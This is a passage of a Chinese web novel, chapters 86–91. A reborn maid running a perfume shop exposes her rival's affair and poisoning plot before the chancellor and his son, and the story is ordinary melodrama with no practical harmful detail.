面具遮掩,身份不辨,他要她做这凝香阁真正的老板,陆青提。 此刻欢娘才后知后觉,那竟也是自己最期盼的。 一早。 李周氏已经等了许久,可除了焦急,没有半分恼怒。 直到再见陆老板时。 她依旧是昨日那身打扮,可却换了面具。 随着一股清浅香味袭来,李周氏盯着她,都看呆了眼。 “将衣裳都脱了,进浴桶里。” 只见她端着她的香料走来,眉目间都透着疏离,看的李周氏都是一惊。 这陆老板,未免自大。 第八十六章人设得立好,被嫌弃的怨妇 就等着吧,她倒是要看看,她的能力是不是跟她的性格一样? 门紧闭着。 李周氏自己脱了衣服,泡进水里。 水有些烫,她皮肤烫的通红,几乎坐不住就要起身。 “温度越高,药效就越好些。” 欢娘冷声道,拆开木盒子,开始往浴桶里放药材,还有特质的精油。 “凉水就在旁侧,你若受不住,加就是。” 不等李周氏反驳,她冷声道。 伸出去的胳膊被泡的发红,可却又僵住。 她忍了又忍,最后还是两眼一避,咬牙切齿的忍着。 热意不断涌入,李周氏感觉自己整个人都烧起来了。 烫的忍不住呻吟。 欢娘把所有药材放进去后,只见那水都沸腾起来。 初次用配方,她吓了一跳,连忙伸手探水温,有些热,但也并非难以忍受。 想来,只是药方混合后的视觉效果。 她静坐在一旁,看着咬牙坚持的李周氏,蒸的她整个人都在发汗。 没一会儿,她身上那股味道变得浓烈,可也只是片刻,气味被药味掩盖。 李周氏的感受是最有明显的。 从开始的难以忍受,到后来她竟觉得有些舒服。 直到泡完半个时辰出来时,她闻到了一股恶臭,只觉得自己跟粪水坑里出来一样。 “你对我做了什么?” 李周氏裹着浴巾,怒火中烧,面露杀气。 却只见陆老板淡定的走到浴桶边,舀了一点浴桶里的水,让她自己闻。 李周氏一个没忍住,干呕不止。 “洗干净,躺到那边去,你需香膏按摩。” 另一边还有一桶干净的水,是早就备好的。 李周氏面露尴尬,十分嫌弃那臭水,可是一想到是从自己身体里排出来的,又没脸去嫌。 最后只能一声不吭,洗了个干净,然后赤身躺在软榻上。 只见陆老板将那香膏抹匀了身体,有用火一点点烘烤,不知是什么,她感觉自己整个人被涂了一层东西。 同时,一股说不上来的味道袭来,不难闻,但也不是多想,可越闻,就越舒服。 “回去后不可洗澡,不可同房,明日一早继续来洗。” 欢娘做完这一切,暗松了口气。 看李周氏皮肤的状态,她想自己照着方子来做的结果,是没错的。 “你认为我身上这样的味道,夫君还会找我同房吗?” 暗自庆幸时,却听李周氏苦笑。 她垂眸望去,李周氏眼底的苦涩和落寞,让人发酸。 只是欢娘没多问。 贵人的私事,她高兴了,跟你说了,烦了,也会跟你说。 可当她清醒,意识到你知道这些对她有威胁,她就会想办法除掉你。 这是她做多年丫鬟的心得。 所以她什么也没问。 等李周氏穿戴整齐以后,送她离开。 店铺门口,比往日也惹恼了些。 听进来的客人说,这家铺子,居然没被李周氏砸了,必定是有过人之处的。 所以来的贵女,更多了些。 欢娘听到这些传言,就忍不住感慨,这贵女圈子里,消息传的未免太快。 李周氏频繁出入凝香阁,只怕很快也会传开了。 那李周氏,或许就是她凝香阁的活招牌。 “请问,是陆老板吗?” 她正要回屋,一个怯生生的声音响起。 低头一看,是张完全陌生的脸,一个十岁左右的小男孩儿。 穿着朴素,黑衣黑裤,还有很多补丁,但却洗的干净,脸也黑黝黝的,又瘦小。 眼睛很大,乌溜溜的转,正好奇的看着她。 “我是。” 欢娘点点头。 “我二叔让我交给你的,他还让我带你去个地方,你去吗?” 小孩儿递来一张字条。 欢娘蹙眉,看了看四周。 字条上的内容,瞬间吸引了她的注意。 “去,不过你要等一下。” 只是一瞬间,她后背发麻,脚都止不住的颤抖着。 她连忙回铺子里,换了衣裳和妆容,跟着小朋友就往京都南街奔去。 迎客酒楼,二楼客房里,寂静无声。 可是隔壁的动静可不小。 光天化日之下,居然就这么……明目张胆吗? 欢娘屏住呼吸,都不敢有大动作,那边的人,折腾了许久,才停下。 “大师兄,你下的那药,何时才会起效?” 让欢娘生厌的声音,从隔壁响起。 带着一丝无力,以及事后的沙哑。 欢娘虽说已经猜到,但真见识到,还是会被宁从夏的无耻给震惊到。 “还需半月……” “不行,太久了,三日后便是我大婚,我要在婚前,让她求生不得求死不能,大师兄,你再想办法,加快药效,势必要让她流产。” “等她没了孩子,相府的人就不会再护着她,到时……我定要让她求生不得求死不能,敢勾引我的人,我让她不得好死。” 狠厉的声音传来。 欢娘双手紧握,恨的发抖。 “萧家重视子嗣,可若是被人发现有人下毒谋害……” “下了毒,你便先离开京都,待我在萧家站稳脚跟,便接你回来。” 隔壁的狗男女,正商量着大计。 欢娘没敢动弹,怕自己的动作会被发现。 过了很久,隔壁的门好像开了。 她坐在桌边,看着外面,隐约能看到一个人影先离开,又过了一会儿,沈重才走。 亲耳听着宁从夏计划着要怎么杀死她,欢娘只想立刻要了她的命。 她狠狠的砸了桌子。 同时也清楚,她这下……完了。 宁从夏,不用我做什么,只怕你这次的计划,会让你彻底没了活路。 欢娘回了院子里。 立刻捧着肚子,直说难受,然后就直接晕了过去。 闭眼前一刻,刘嬷嬷那惊慌的神色,好像她再也活不过来了。 然后当晚,她便如愿,见到了相爷。 “你要见我,直说便是,何须用这法子?” 欢娘才看到相爷,立刻起身,活蹦乱跳的,生怕慢一秒,真的让相爷担心一般。 萧怀停秒懂她的意思,冷着一张脸训斥。 目光落在她那小腹上,因为穿的单薄,现在很明显。 “和谁说?难道对着空气喊吗?奴婢怎知,爷派的人当真时时刻刻在奴婢身边呢?” 欢娘认真道。 近日,刘嬷嬷不再跟着她出行,而且爷似乎很清楚她的行程,所以欢娘大胆猜测,一直有人在暗中护着自己。 所以她才假装晕倒,就是为了让爷出现。 “既然爷的人一直在奴婢身边,那今日的事,爷都知道了?” “嗯。” 第八十七章撞破偷情,你终于肯下跪了? “那爷要怎么办?” 儿媳妇婚前就勾搭着奸夫,还要害他的孩子,以及他的女人。 欢娘觉得,宁从夏这次是彻底栽了,一定会死的很惨。 只是她好奇,爷会怎么处置呢? 直接将那奸夫淫妇抓起来,送官府查办?怕是不可能,那岂不是脏了相府的名声。 再者,宁从夏肚子里还有大公子的孩子。 打断她手脚,锁起来? “你和那宁从夏,可是有仇?” 欢娘正想着,爷的一句话,瞬间打断了她的思绪。 “爷怎么那么问?” 欢娘心头咯噔一下,望着爷锐利的眸,心里就慌。 他怎么看出来的?还是只是猜测? “若非你花银子买通了探手盯着,如何能发现宁从夏与人私通?还有那沈重,是来过这里,还送了你涂了凝香散的兔,以你的嗅觉,不可能闻不出来,你故意交给刘嬷嬷,便是想借着刘嬷嬷通知老夫人,对吗?” 欢娘心头紧张起来,看这样子,是看出来的。 她倒是也没多惊讶,爷若花些心思,就她那点手段,能看不出吗? “老夫人若知晓今日的事,必定不会让他们成亲,所以你要阻止他们成亲,你要对付宁从夏?可据我所知,你与她认识,不过是在府中而已,为何有那么大的仇?” 爷又道。 他已经确定了欢娘的目标。 前世受尽凌辱,被虐杀的深仇大恨。 可她怎么能跟爷说那些事?别说他不信了,若是相信,爷会不会怀疑她是什么鬼怪精灵呢? 所以,无论如何,她绝不可能道清真相。 但爷那般精明的人,要怎么才能说服他呢?欢娘垂眸思索,一时间根本就答不上来。 在爷面前,连撒个慌都那么难。 “可以慢慢想,想好再说。” 欢娘惊讶的抬起头来,只见爷的表情,始终云淡风轻。 就这么……放过她了?未免大度了些? 往榻上一坐,欢娘有些不解,爷这又是何意? 可谁想,他说,来都来了,省得再折腾,就在这儿歇一晚,毕竟明天一早,还有事要处理。 “那爷打算怎么办?” 欢娘依偎在他怀里,生出了很强烈的贪念。 她不想只是个陪睡的。 只是最后她也没听到爷的打算。 翌日一早。 阳光很是明媚。 欢娘起身时,爷已经不在了。 她刚洗漱好,外头院子里就传来了动静。 突然一声惨叫。 等欢娘出去时,只见院子里多了一个高高大大的黑汉,她一眼就认出,那是先前在承德院时,帮了她两次的黑汉。 一根木棍,光洁发亮。 地上的沈重,正无力哀嚎。 还有刘嬷嬷等人,看到这一幕,也一个个都傻眼了。 勇哥站在最前面,手里还拿着一把斧头,全神戒备,可好像就没什么用。 刘嬷嬷瞪大了眼睛,看着这一幕。 头又缓缓的转向了欢娘。 另一边的萧晋文,早课结束,便迫不及待地要回家。 还有两日,便是大婚,每天只要想到能马上娶小夏,他就精神充沛。 “等等。” 可刚出学院大门,他便听到了父亲的声音。 萧晋文脸上的笑容淡了些,变得稳重了些。 “父亲。” 他弯腰,先行了礼。 这才想起,今早父亲受院长所托,来此授课,早上他还看到父亲从教室门口过去。 居然忘了去见父亲,萧晋文有些懊恼。 “回家吗?” 他又问道。 “是。” “上车。” 父子俩的对话,简直就是言简意赅。 萧晋文也没拒绝的勇气,而且说来也奇怪,现在他也没那么惧怕父亲了。 所以坐上了父亲的车。 “夫子说你近来表现不错,新交的课业,我今早看了,论点清晰明确,而且想法新颖。” 然后,萧晋文听到这话,就愣了好一会儿。 都不敢相信,父亲会说这些话? 是在夸他? 萧晋文兴奋的握紧了拳头。 “父亲,我前些日子江湖游历,所见所闻,远不是在京都学院里能学到的,儿子感谢父亲,能让儿子出去走走。” 他有些无措,这么直接的夸赞,是第一次。 “嗯,成婚后,你有何打算?” 萧怀停依旧是那不太热情的样子。 “儿子想去大理寺。” 他当然有打算。 娶了小夏后,很快就会有孩子,他可不想做个游手好闲的人。 务必要拼一拼,尽早成为一个像他父亲这般能干的人。 “会很辛苦。” “儿子不怕,而且据儿臣所知,现在大理寺人才缺乏,谜案重重,是个机会。” 是个能凭借自己本事,快速晋升的大好机会。 萧晋文深知,将来自己是要入朝为官的。 他满含期待的望着父亲。 却在这时,马车突然被撞了一下,前头传来一阵哭闹声。 萧晋文掀开车帘望去。 只见车前一奶娃子被吓得嚎啕大哭,一妇人赶忙冲了出来抱着孩子。 “大人恕罪,大人恕罪,是那女人推了我家蛋丫,她才惊了马的……” 萧晋文顺着那妇人指的方向望去。 只看到小夏的背影,她步伐匆匆,还提着剑,杀气腾腾。 “那可是宁姑娘?” 他欲追,父亲的声音从后面传来。 “月海,跟上去,看看。” 萧晋文欲解释,毕竟这都要大婚了,小夏一个孕妇,怎么会持剑出现在此处? 可父亲没给他那机会。 只见父亲沉着脸,显然是对小夏出现在此处,很不高兴。 萧晋文担心极了。 马车保持着距离,跟在宁从夏身后,逐渐绕到了清静的小巷里。 越走,也是偏僻。 萧晋文心急如焚。 直到下车后,恨不得马上冲上去叫住小夏,可还是晚了。 他看着她,进了一处院子。 而接下来所听到的一切,都让他怀疑,就是一场梦。 抓住沈重,没多久,宁从夏就来了。 欢娘惊讶于她的速度。 “贱人。” 宁从夏一进院子,看到她,提着剑就劈来。 眼中满是杀气,她也跟疯了一样。 黑汉在她前面拦着,没两个回合,就将她打退。 “宁姑娘,冷静。” 黑汉冷声道。 看得出他武艺十分高强,若不是顾及着身份,宁从夏早就被抓了。 “你认得我?” 宁从夏气恼,神色冰冷,持剑的手,微微颤抖着。 第八十八章故技重施,撕开你的奸情 她不是这人的对手,刚才只是木棍一敲,她手麻的几乎握不住剑。 随后仔细打量起这黑汉。 “你是承德院的?” 她好像确实见过这人,又黑又壮的,很醒目,当初承德院里的奴仆。 黑汉没否认。 宁从夏当即红了眼。 “你主子让你在这儿保护她?” 她又问道。 黑汉没否认,欢娘还往后退了两步。 “宁姑娘,你这是……做什么?” 她佯装无辜。 “好阿,好阿,萧晋文,你个大骗子……” 可宁从夏从黑汉的反应,自己猜到了一切,她又哭又笑,满是悲愤和不甘。 却没持续多久,她剑指黑汉。 “既然你认得我,就赶紧滚开,放了我大师兄,把那贱人交给我,否则……我让你死无葬身之地。” 她冷声道。 黑汉后退一步,却把欢娘护的死死的,坚决不让。 “你别忘了,她只是个贱婢,你们公子喜欢谁,听谁的话,难道你不清楚吗?” 宁从夏看的怒火中烧,滋着牙,面容都显得狰狞。 “宁姑娘和这歹徒是什么关系?” 这时,刘嬷嬷站了出来。 当宁从夏提着剑冲进来时,还喊着大师兄,她就觉得不对劲了。 难道,就是她在背后指使,要害欢娘肚子的孩子? 宁从夏张嘴就要骂,可那刘嬷嬷,是老夫人的人。 她冷下脸来。 “刘嬷嬷,你不觉得今天这事儿,应该给我一个交代吗?老夫人不是说她已经死了吗?为何人在这里,还大着肚子?” “我一回来,老夫人就把她送走,又是什么意思?” “你们大户人家,这样欺骗我一弱女子,说得过去吗?” 宁从夏逐渐冷静下来。 她突然意识到,大师兄下毒一事,怕是暴露了,萧家重视子孙,若她承认,老夫人必定不会放过她。 所以接连逼问。 门外,萧晋文听到这乱七八糟的,急的要冲进去解释。 欢娘的事情,他是无辜的。 可却被父亲的侍卫,萧一,先拦了下来。 “现在还抓了我大师兄,你们到底想干嘛?” 她甚至倒打一耙。 欢娘看到她居然长了脑子,没有被理智冲昏头脑,还真有些意外。 “你的大师兄,下毒谋害萧家子嗣,人赃并获,逃不了了,至于你,宁姑娘,你还是想想,如何跟老夫人交代清楚,否则这萧家大门,你怕是进不去。” 刘嬷嬷冷声道。 “想否认?你觉得你还撇得清?” 宁从夏欲张口,为自己辩驳。 可是她都已经气冲冲的冲动这里了,无论再说什么,都无济于事。 她看着躲在黑汉后面的欢娘,再次举起剑。 “这是萧晋文欠我的,他骗了我,就算老夫人要怪罪,我今日也要拿了她的命。” “你……你不是为了救公子,武功尽失吗?” 欢娘大着嗓子问道。 她可还记得,当初宁从夏再回来时,柔弱不能自理,可现在,却这般的彪悍。 混乱中,她瞧见门口衣袖轻飘,门外影子倒映着。 那门外,是相爷和公子? 那般尊贵的两人居然躲起来偷听,她想着都觉得可笑。 欢娘就知道,宁从夏怎会无缘无故赶来呢?现在看来,是安排好的。 这样一看,其实爷的手段,她也会嘛,不久前,她还像老夫人献策,就用这一招,对付过宁从夏。 而现在,故技重施,宁从夏她愚蠢,还是会上当。 而且,怎么死的她都不知道。 想着,她便继续道。 “你口口声声说公子欠了你,他欠你什么了?倒是你,一而再再三欺骗公子,哄骗他,利用他,还和你的大师兄……刚才,他可都承认了,你们只见并非普通的是兄妹关系。” “你脚踩两只船,欺骗公子的感情。” 此时的沈重是晕死过去的,自然由她随便说。 而且都是事实,她不信,宁从夏能沉稳到否认一切。 “贱人,你说什么?” “昨日,迎客酒楼,我都看见了,你和你的大师兄私会,出来时还衣衫不整,今日你大师兄就来下药,你先是对公子不忠,又来害我肚子里的孩子,你可真恶毒。” 欢娘躲在黑汉身后,嗓门很大的控诉着。 “住嘴,死贱人,再胡说,小心我割掉你的舌头。” 宁从夏脸色骤变,越发疯狂的砍人。 “你敢说你和你的大师兄没有奸情?没有男女之情?公子给你那些银子,珠宝首饰,你全都给了他,给他买宅子,供他吃喝……” “阿……” 宁从夏气的提剑刺来,几个来回以后,便被黑汉控制住,丢到了沈重旁侧。 “萧晋文知道你们这样对我,一定不会放过你们的。” 宁从夏还不死心,歇斯底里的吼道。 “公子如果知道你背叛他,还利用他,你觉得他还会要你吗?” 欢娘冷笑着,人被抓了,她便肆无忌惮的站在宁从夏面前。 “我……我没有,我……” “背着公子,拿萧家的钱,养奸夫,不承认也没关系,迎客酒楼的老板和店小二,总会招认的,到时候闹上公堂,你们这对奸夫淫妇,一定不得好死。” 欢娘冷声道。 见她还是紧闭着嘴巴,死不承认。 欢娘也担心,没有她亲口承认,公子还是不信。 “嬷嬷,去将老夫人请来……” 她又道。 刘嬷嬷早就要去了,因为宁从夏残害萧家孩子。 可什么奸情? 她根本没反应过来。 听到这话,连忙就要走。 宁从夏摇着头,却急的眼泪掉落,就在刘嬷嬷转身的瞬间,她再次开口。 “等等。” 她嘴硬,可是等老夫人过来,那就真的彻底完了。 宁从夏眼底划过一丝惊慌,挣扎着想扑到欢娘身边,可黑汉挡在那里,就仿佛是无法逾越防护罩。 她跪在地上,艰难挪动,尽显狼狈。 “我们谈谈。” 她掩藏住自己的恨意,咬着后槽牙的放缓了语气。 那是在示弱。 “你不是冤枉的吗?还谈什么?” 欢娘看着跪在地上恳求自己的宁从夏,顿感舒适。 宁从夏的眼神,仿佛是要杀了她。 “算我的错,是我不对,我可以……我可以不跟你计较,我回去就叫萧晋文接你回府。” 她极力克制,仿佛已经做了极大的让步。 欢娘突然觉得,她怎么那么天真愚蠢呢?原来前世那个弄死她的人,也没有强大到很可怕。 只是前世的欢娘,过于软弱了而已。 “你还要什么?我都满足你,只要今天的事情,你别说出去。” 第八十九章该死的仇敌,她要杀情夫 宁从夏见她不语,又道。 心里只想着,一定要先稳住她,待日后找到机会,再收拾她。 “你背叛了公子,便不能留在他身边,婚礼取消,你立刻离开京都。” 欢娘心底,巴不得就这样将她折磨致死。 可是外头还有人看着,她得藏。 “不行,我肚子里还有他的孩子,我不能走,我走了,我的孩子怎么办?婚礼可以取消,但我必须回萧家。” 宁从夏连忙道。 让她走,那和事情败露了,有何区别? “你若要将我逼到绝境,我就跟你同归于尽,我就不信,我现在怀了萧晋文的孩子,他们萧府,会真的让我去死。” 她面露狰狞,威胁欢娘。 欢娘沉默了,好似,当真被威胁道。 一旁,刘嬷嬷也沉默了。 的确,孩子不能有事。 老夫人就算过来了,也会保住这恶毒的荡妇,等着她将孩子生下。 “婚事,你自己去取消?” 欢娘沉默,可余光却不断望着门外,事情到了这一步,一切真相大白了,难道他们还不该进来处理接下来的事吗? 她等阿等,没等到人进来。 只能自己开口。 心里却纳闷,难道外面站着的不是公子? 又或是公子即便听到了这些,也能忍住? “好,我去说,不过我有个条件。” 宁从夏一咬后槽牙,知道自己根本就没有选择。 “放了他,我要送他出城。” 她指着沈重,语气淡然。 “你对你的大师兄,还真是情深意重。” 欢娘冷笑着嘲讽。 宁从夏黑着脸,并未多解释。 门口的人影,消失了。 欢娘看了一眼,心头很是无奈,所以这人,是不打算再回来? “好,我答应你就是。” 她现在,都拿不准爷要做什么了。 明明宁从夏都承认了罪行,直接拿下,解决此事就是。 这样不作为,难道是默许了宁从夏再次回到相府吗? 欢娘想着想着,就有些烦闷。 随后,便是黑汉亲自扛着被打成重伤,昏迷不醒的沈重跟随宁从夏离开。 黑汉是爷的人,她倒是不担心会出意外。 “当真答应她?” 刘嬷嬷不明就里,听着他们方才的交易,觉得不妥。 那岂不是,要继续欺骗公子和老夫人吗? “先看两日后的情况,嬷嬷,她说的也没错,只要她肚子里还有公子的孩子,老夫人就不会拿她怎样。” 欢娘也不甘心就如此,可还是劝说刘嬷嬷,此事,暂且先瞒着。 “她不敢反悔的,她若敢,老奴必定禀告老夫人,将她拿下。” 刘嬷嬷点点头,语气坚定。 欢娘还是不大放心,思绪片刻后,她出了门。 特意加快速度,希望能在路上遇到相爷。 可最后,都走到迎客酒楼了,却还是不见人。 难道是她想错了,爷根本没带着公子来这里找证人,证明她所言属实? 她还以为,为了让公子死心,爷会带他来这里,彻底死心呢。 看来自己还是不够了解爷。 正失落的要离开时,熟悉的人影再次出现,拦了她的去路。 爷那熟悉的马车,就在不远处停着。 不用萧一说话,欢娘就跑向马车。 “爷。” 她掀开车帘,面露微笑。 却在看到大公子的瞬间,笑容僵硬下来。 此刻的大公子,垂着头,看不清神色。 欢娘还慌乱了一瞬,可下一刻就觉得,也不用慌,因为公子根本就没注意她。 “上车。” 爷的声音传来。 欢娘连忙走进马车,规规矩矩的坐好。 马车走的极快,似乎在赶路。 欢娘不解的看向爷。 他们父子在一起,让她来作甚? 她提心吊胆,生怕公子突然开口问她话。 可此刻的公子,就跟被夺了魂魄一般。 爷压根没搭理她无声的疑问,依旧气定神闲的端坐在那里,宛若一只静止的老钟。 她想着想着,偷偷偏过头,偷笑。 车内的氛围,始终不大好。 没多久,欢娘就发现,居然已经出了城。 然后就遇到了黑汉。 更准确的说,不是遇到,而是黑汉他就在城外等着。 欢娘越发的莫名。 还没缕清到底什么情况,就已经在城外,一个茶棚里,再次见到宁从夏,还有沈重。 她越发奇怪,满脸不解的看着爷。 刚刚在院子里,他们不出现,现在却追到城外,到底要做什么? “一次性,做个了断。” 下车时,爷终于开口了。 那深沉的目光,落在公子身上。 “好。” 随后,公子便下了马车。 因为爷没下车,欢娘也没动,车内再次寂静。 倒是茶棚里,很快传来了动静。 “不懂,那便看着。” 爷开口。 但不是欢娘想象中的解释。 看什么呢? 公子此刻,怕是气的要砍了那对奸夫淫妇吧? 马车距离茶棚进,外头说什么,也听的清楚。 萧晋文径直走过去。 沈重和宁从夏面对面坐着,他坐在两人中间。 看似平静,可那两人都被黑汉捆了起来。 “属下将沈重交给宁姑娘,却不想她要杀人灭口,属下觉得此事不妥,所以就先将两人分别困住。” 一旁黑汉,简单说明眼下的情况。 而就这一句话,让宁从夏傻眼了。 因为当萧晋文出现的瞬间,她是在想救星来了,她要赶紧想办法让萧晋文救她离开。 可听着黑汉的话,她看萧晋文的脸色,才发现很不对劲。 “晋文……” “宁从夏,你还打算怎么骗我?你说。” 萧晋文红了眼,可是却又极冷静。 才这么一会儿的功夫,他身上那明媚喜气的光都消失了,人十分阴郁。 “我……我怎么骗你了?” “大师兄?你不是和他情谊深厚吗?怎么这才出城,就要杀他,难道你又不喜欢他了?” 萧晋文冷笑着,眼中满是嘲讽。 恼恨他眼瞎了一次又一次。 而现在,他再看宁从夏,突然发现,其实她很普通,甚至恶毒的让人恶心。 宁从夏听的脸色煞白。 因为听得出,他都知道了,那院子里所有的一切,他都知道了。 车里,欢娘也不自觉的紧张起来。 是因为兴奋。 此刻的场景,无异于让公子亲自给她处刑。 毁了她,也毁掉了公子对她的那点感情,那宁从夏,将会变得一无所有。 第九十章真相,孩子就不是你的 宁从夏,这次,势必要将你打入地狱。 “晋文……我……我……你信不信,我现在才知道,你对我有多重要,我不能让任何人影响我们的感情,我怕……” 宁从夏被萧晋文冰冷的眼神看的害怕。 从认识以来,这是从他眼底第一次看到了厌恶。 她慌了。 连忙挤着两滴眼泪,想去拉他的手,却发现自己被捆的死死的。 “你信我,我是害怕大师兄破坏我们的感情,我真的怕了,所以我才想出这种办法,我做这一切,都是为了你阿。” 她哭诉着。 看着极其的真诚,可怜。 萧晋文从没见过她这个样子,只觉得很陌生。 他以为她素来骄傲,要强,她从不讨好自己,那是因她不畏强权,不在乎身份。 她与人相处总是盛气凌人,那是她真性情。 可现在看来,是他眼瞎。 “晋文,我若不喜欢你,又怎会和你回府,又怎会怀了你的孩子呢?你是知道我的,若对你没感情,就算你有金山银山,就算你是皇孙贵胄,我也绝不会要你。” “之前是我犯蠢,我以为我对大师兄的依赖是男女之情,可直到这次跟你回来,跟你相处,我才明白自己的心意。” “我不想让你知道我以前犯过的错,我有我的骄傲,所以……我才出此下策。” 她声泪俱下,说的格外诚恳。 能从宁从夏口中听到这番话,就连欢娘都惊讶。 她居然能将自己的一己之私说的这么冠冕堂皇,明明就是她为了掩盖罪行。 可说的好像都是为了公子。 “你那么爱我阿?” 萧晋文真的审视了很久,企图看清楚她的心思。 “是。” 宁从夏含泪,眼神坚定的点头。 一副一往情深的模样。 可萧晋文没有半分感动,看的险些要笑出来。 “大师兄呢?她说了这么多,你没有想说的?毕竟刚才你差点就死了。” 此时的沈重满脸瘀伤,肿成了猪头。 高大伟岸的身形似乎也被压垮了,看着有些颓靡。 宁从夏说话时,他就那么看着,一脸的震惊,仿佛失去了所有思考的能力。 “我……” 沈重的声音有些沙哑。 “她骗你的,她一点儿也不喜欢你……” “沈重。” 宁从夏猛地蹿起,眸里满是杀意。 原来她一直惦记着的大师兄,也不过如此阿。 “你要我死,让你活?我死了,就死无对证,就没人再能威胁你做相府的少夫人,没人能拦你的荣华富贵,宁从夏,你一直都是那么嫌贫爱富,江湖上谁人不知?” “就他蠢,他没见过世面,被你骗了。” “实话告诉你吧,她肚子里的孩子,也不是你的。” 沈重嘶吼着,一声比一声大。 一口气说完所有的话,怒瞪着一双眼,胸口都在剧烈的起伏着。 如果不是被绑在凳子上。 此刻他一定会反手,要了宁从夏的命。 可话音落下,周遭却寂静一片。 只能听到风声在沙沙作响。 这茶棚里,只有他们三人。 马车里,更是寂静无声。 欢娘下意识看向相爷,脑子里再次乱了。 孩子,不是公子的? 她想到她偷情,甚至看到她在事发以后,为了继续哄骗公子,说那些恶心的话,她都能想到。 可是,孩子居然不是公子的? “她……她……怎么敢的?” 她握紧了手,呆呆的望着相爷,不知是在问他,还是在反问自己,想到她居然能胆大至此了吗? “你说什么?你诬陷我。” 不知是沉默了多久。 宁从夏挣扎着站起来,整个人连带着凳子都朝着沈重压过去。 她扑倒他,跟狗一样,撕扯着沈重。 “就是因为她怀了我的孩子,我们才重新找上你的。” 沈重一边惨叫着,一边吼道。 萧晋文呆坐在那里,仿佛没了生气。 地上撕扯的男女,就跟狗一样,恨不得要弄死对方。 直到弄的满身是伤后,黑汉才从远处走来,分开了两人。 被咬的血肉模糊,宁从夏脸上,脖子上,都是血印,衣裳散乱不堪。 “孩子就是你的,你要不信,现在就杀了我。” 宁从夏冷声道,绝望的闭上了眼。 似乎是认命了。 “骗子,你们全都是骗子。” “对,是骗子,可难道你不是吗?你怎么跟我说的?说你没有其他女人,我是你唯一,可结果呢?有个青梅竹马,还有通房,你的通房还怀孕了,你将人藏起来不让我知道……” “你觉得我卑鄙无耻,可你不也一样吗?你也不是什么好人。” “欢娘的事,和我无关,我没碰过她,那孩子也不是我的。” 萧晋文知道解释这些没意义,可看到她居然到现在还在诋毁他,就忍不住要说清楚。 “呵……” 宁从夏明显是不信。 “你……” “那孩子,不是晋文的。” 萧晋文气的站起身,要说个清楚。 可却在这时,马车的帘子缓缓掀开。 欢娘反应过来时,爷已经起身,下了马车,然后传来爷掷地有声的声音。 她赶忙就要下车,爷却背着手,冲着她挥了挥,示意她回去坐好。 “那孩子,是我的。” 萧怀停慢步走向茶棚。 欢娘虽在车里,可她都感觉不到自己的心在跳动。 脑子更是一片混乱和震惊。 怎么这就……承认了?爷是不是草率了些?这并非是要他承认的局面。 不止是她。 茶棚里的三人,就那么一脸呆滞的,看着相爷走向他们。 当萧怀停站在那茶桌前时,就冷了下来。 方才的吵闹和争执,就不敢再提起。 萧怀停冰冷的目光从沈重移向宁从夏,只是一个眼神,方才还叫嚣的宁从夏微微颤抖着,蜷缩起身体。 她嘴唇轻颤,甚至不敢直视这一人之下万人之上的权臣。 “父亲。” 无声中,萧晋文站起身,先行了礼。 “你腹中孩子,当真是萧家血脉?” 萧怀停点了点头,目光依旧落在宁从夏身上。 那冰冷的威压,压的人喘不过气。 宁从夏就觉得地上的寒意紧紧抓着她,像无数只触手抓着她,想把她拽到地下。 “是,就是他的。” 第九十一章我对您爱而不得,没错的 “我发誓,孩子就是萧晋文的,沈重他是怀恨在心,才诬陷我,还请相爷明察。” 宁从夏咬紧牙关,死活都不承认。 “你撒谎,宁从夏,你怎么是这样的人……” 一旁沈重听到这些话,气的大吼。 然后又突然朝着萧怀停磕头。 “请相爷明察,草民绝对没撒谎,草民所说的一切都属实,若有半句谎话,就遭天打雷劈。” 沈重大声道。 两人争辩不休,似乎难以定论。 “晋文?” 萧怀停冷淡的语气里带着一丝疑问。 萧晋文弯腰行礼,像极了平日里向父亲交功课时的样子。 “儿子对她依旧彻底死心了,绝不会再有一丝念想,儿子也不想再见她这种心如毒蝎的女人。” “只是关系到萧家子嗣,若是错杀,祖母定会难过。” “所以,你要她活?” 萧怀停蹙了蹙眉,冷声问道。 看上去,他是满脸不悦。 往常这时候,萧晋文是不敢再与父亲争论或是反抗的。 可此刻,他还是坚定的点了点头。 地上,宁从夏松了口气,无声的流下眼泪。 车里,欢娘却恨的牙痒,都已经这样了,她还死不了?沈重不是说了吗?那肚子里的孩子,不是公子的。 为什么他们还要抱有期待? 欢娘憋闷的难受。 “要活,那可麻烦了。” 半响,萧怀停才道。 萧晋文不解,而宁从夏也抬起了头,眼中满是忐忑。 “长了这么一张能颠倒黑白的嘴,今日之事若传出去,于相府,名声不利。” 萧怀停淡淡道。 话刚说完,萧一出现了。 手里,拿了一瓶药。 宁从夏惊慌的望向萧晋文,正在无声的祈求。 此刻的她连大点声都不敢了。 “你有两个选择,第一,喝了它,本相做主,带你回府待产,第二,让本相的侍卫,给你寻一处地牢……” “我喝,我喝。” 求情的话都没说出口,宁从夏立即做出选择。 甚至是迫不及待的,冲到萧一面前,将那一整瓶药都喝完了。 她瘫软在地,仿佛没了生机。 “萧一,处理干净。” 萧怀停收回淡漠的眼神,转身,看向那马车。 “晋文,上车回家。” 他简单几句话,便阻止了那无谓的争执。 萧晋文没再看一眼,跟着父亲,就走了。 宁从夏倒在地上,无力的绝望的失声痛哭,那撕心裂肺的哭声,夹杂着的都是怨恨和不甘。 可很快,她便哭不出来了,断断续续,嘶哑又难听,而后,更是吐了口血,晕死过去。 马车里,气氛凝重。 欢娘紧张,无暇顾及宁从夏有多惨,因为刚才爷居然当着公子的面,承认了他们的关系。 那接下来,她该怎么办? “父亲,其实您用不着如此,她不信,便算了,我现在也不在乎她怎么想。” 她很忐忑,可好像又不是她想的那样。 大公子无比认真的道。 “您不该为了我,毁了您老人家的名声。” “欢娘,你可真是……大胆。” 然后不等父亲反应,他目光便落在了欢娘身上,冷声在训斥。 “奴婢知罪。” 欢娘本就心慌一乱,一点她的名字,她慌的直接从座椅上滑落,跪在那里。 “我不是跟你说过吗?我会成全你的,给你撑腰,你为何还要做出这种事来?还求我父亲让你假死脱身,你……” 萧晋文气的训斥他。 可话说到一半,却察觉到了不对劲。 如果是假死脱身了,她应该赶紧离开京都才是。 为何会住在京都,而且跟在她身边的,那院子里的人,一个是刘嬷嬷,祖母的人。 还有那黑汉,是父亲的人。 她若是偷情,有了奸夫,为什么父亲和祖母要护着她? “父亲?” 他不敢相信,他紧盯着萧怀停,他宁愿相信父亲有不得已护着她的理由,也不敢相信,欢娘腹中的孩子,真是他的。 “你先出去。” 欢娘觉得自己完了,完的很彻底。 爷就那么草率的告诉了公子,他会怎么想? 居心叵测的通房,爬不上他的床,爬了他父亲的?而且还有了孩子? 